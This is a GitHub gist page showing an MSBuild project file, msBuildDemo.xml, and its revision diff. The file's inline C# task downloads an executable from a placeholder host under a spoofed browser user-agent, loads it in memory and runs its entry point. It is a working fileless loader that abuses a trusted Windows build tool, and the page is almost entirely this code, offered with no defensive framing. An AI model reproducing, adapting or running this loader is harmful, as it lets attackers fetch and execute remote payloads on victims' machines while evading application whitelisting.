Skip to content

Instantly share code, notes, and snippets.

@kapiushion
Forked from G0ldenGunSec/msBuildDemo.xml
Created July 16, 2025 05:54
Show Gist options
  • Save kapiushion/c1a22d412fbd21bc95566de5c5aa7fa9 to your computer and use it in GitHub Desktop.
Save kapiushion/c1a22d412fbd21bc95566de5c5aa7fa9 to your computer and use it in GitHub Desktop.

Revisions

  1. @G0ldenGunSec G0ldenGunSec revised this gist Nov 26, 2018. 1 changed file with 8 additions and 8 deletions.
    16 changes: 8 additions & 8 deletions msBuildDemo.xml
    Original file line number Diff line number Diff line change
    @@ -20,15 +20,15 @@
    {
    public override bool Execute()
    {
    using (WebClient client = new WebClient())
    {
    System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls | System.Net.SecurityProtocolType.Tls11 | System.Net.SecurityProtocolType.Tls12;
    using (WebClient client = new WebClient())
    {
    System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls | System.Net.SecurityProtocolType.Tls11 | System.Net.SecurityProtocolType.Tls12;
    client.Headers.Add ("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36");
    MemoryStream ms = new MemoryStream(client.DownloadData("http://IP_ADDRESS/ASSEMBLY_NAME.exe"));
    BinaryReader br = new BinaryReader(ms);
    byte[] bin = br.ReadBytes(Convert.ToInt32(ms.Length));
    ms.Close();
    br.Close();
    MemoryStream ms = new MemoryStream(client.DownloadData("http://IP_ADDRESS/ASSEMBLY_NAME.exe"));
    BinaryReader br = new BinaryReader(ms);
    byte[] bin = br.ReadBytes(Convert.ToInt32(ms.Length));
    ms.Close();
    br.Close();
    Assembly a = Assembly.Load(bin);
    string[] args = new string[] {"ASSEMBLY ARGS GO HERE"};
  2. @G0ldenGunSec G0ldenGunSec created this gist Nov 26, 2018.
    56 changes: 56 additions & 0 deletions msBuildDemo.xml
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,56 @@
    <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
    <Target Name="DemoClass">
    <ClassExample />
    </Target>
    <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
    <Code Type="Class" Language="cs">
    <![CDATA[
    using System;
    using Microsoft.Build.Framework;
    using Microsoft.Build.Utilities;
    using System.IO;
    using System.Net;
    using System.Reflection;
    public class ClassExample : Task, ITask
    {
    public override bool Execute()
    {
    using (WebClient client = new WebClient())
    {
    System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls | System.Net.SecurityProtocolType.Tls11 | System.Net.SecurityProtocolType.Tls12;
    client.Headers.Add ("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36");
    MemoryStream ms = new MemoryStream(client.DownloadData("http://IP_ADDRESS/ASSEMBLY_NAME.exe"));
    BinaryReader br = new BinaryReader(ms);
    byte[] bin = br.ReadBytes(Convert.ToInt32(ms.Length));
    ms.Close();
    br.Close();
    Assembly a = Assembly.Load(bin);
    string[] args = new string[] {"ASSEMBLY ARGS GO HERE"};
    try
    {
    a.EntryPoint.Invoke(null, new object[] { args });
    }
    catch
    {
    MethodInfo method = a.EntryPoint;
    if (method != null)
    {
    object o = a.CreateInstance(method.Name);
    method.Invoke(o, null);
    }
    }
    }
    return true;
    }
    }
    ]]>
    </Code>
    </Task>
    </UsingTask>
    </Project>